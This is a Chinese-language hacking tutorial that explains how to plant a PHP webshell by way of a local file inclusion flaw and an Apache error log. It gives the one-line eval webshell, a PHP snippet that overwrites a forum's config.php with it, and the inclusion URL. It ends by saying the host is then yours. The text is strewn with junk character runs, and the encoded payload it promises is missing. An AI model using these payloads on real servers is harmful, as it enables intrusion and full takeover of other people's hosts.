标题: php包含apache日志写马
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 ! t# n, H' K; y9 C. D* U3 X) b
; n' o. o9 y$ X7 i5 N8 W
比如还是这句一句话木马 7 l5 N0 {6 `) Z. G6 }8 D0 n
<?eval($_POST[cmd]);?>   ; Z1 J! [4 I; V

6 \9 c1 W, Y' S+ d+ A8 y2 d( S到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
- |; \6 Y' D& r/ t/ _. ]fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 ' C" N" ^7 K/ Y! B- ]
- y! }& ]* V0 i. v8 ~5 _
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); 8 D' P5 U  t: m6 c* c
fclose($fp);?>   //在config.php里写入一句木马语句 ; K' j7 C& u3 }$ i

  ?/ ^( P% b; A( C9 O* ~我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
# K4 x# L4 ]* h  P8 g& ]转换为 1 j7 W: ]/ v5 s' _9 O: I

0 g8 q/ m1 u5 ?# Q- s9 b$ s+ A; M8 C  d4 r6 _( a
这样就错误日志里就记录下了这行写入webshell的代码。 + s  f* }1 d, J
我们再来包含日志，提交
4 A# [1 X) T% i9 V: uhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log . D) h) U: j' d' i
2 N( O& }5 T  i& l$ Q, c
这样webshell就写入成功了，config.php里就写入一句木马语句
. K+ @7 m: i9 H6 \4 X( W8 r. ROK. 8 P( ]& a! M+ s1 j
http://www.xxx.com/forum/config.php这个就成了我们的webshell ) {8 l$ R  F+ y; W2 J
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 2 u1 s6 C! O8 S* o( s" T
